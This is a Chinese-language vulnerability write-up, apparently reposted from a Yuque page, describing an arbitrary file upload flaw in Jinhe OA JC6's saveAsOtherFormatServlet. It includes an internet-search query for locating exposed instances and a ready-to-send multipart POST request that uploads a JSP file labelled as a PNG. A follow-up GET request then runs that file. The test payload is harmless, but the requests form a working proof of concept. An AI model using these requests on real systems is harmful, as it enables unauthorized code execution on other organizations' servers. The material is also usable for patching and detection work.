登录 白背景
源码

金和OA JC6 saveAsOtherFormatServlet任意文件上传漏洞

一、漏洞简介

<font style="color:rgb(23, 46, 77);"> 金和OA协同办公管理系统C6软件共有20多个应用模块，160多个应用子模块，涉及的企业管理业务包括协同办公管理、人力资源管理、项目管理、客户关系管理、企业目标管理、费用管理等多个业务范围，从功能型的协同办公平台上升到管理型协同管理平台，并不断的更新完善，全面支撑企业发展,提供专业oa,oa系统,oa办公系统,办公自动化软件,协同办公管理系统.支持oa办公自动化系统免费在线试用。金和OA JC6 saveAsOtherFormatServlet任意文件上传漏洞.</font>

<font style="color:rgb(23, 46, 77);">二、影响版本</font>

  • 金和OA

三、资产测绘

  • hunterweb.body="JC6金和协同管理平台"

1692602003539-464f5aa3-048f-4d93-8c1d-0ee27d2cced0.png

  • 登录页面

1698940992643-64e1cbc9-d59a-4c01-a38c-1ed233e23ba8.png

四、漏洞简介

POST /jc6/servlet/saveAsOtherFormatServlet?fileName=stc.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Content-Length: 207
Content-Type: multipart/form-data; boundary=74f0dc3df975274386a11be68cacc0e5

--74f0dc3df975274386a11be68cacc0e5
Content-Disposition: form-data; name="FileBlod"; filename="stc.jsp"
Content-Type: image/png

<% out.println("tteesstt2");%>
--74f0dc3df975274386a11be68cacc0e5--

1704685190013-1c4711a7-ca5c-43a6-9356-9acfdde0802b.png

上传文件位置

GET /jc6/upload/gwzw/stc.jsp HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Length: 0

1704685221813-9bc6726a-7266-454f-a2f3-9d933b8ac62f.png

原文: https://www.yuque.com/xiaokp7/ocvun2/gctngbmt4pchqiu2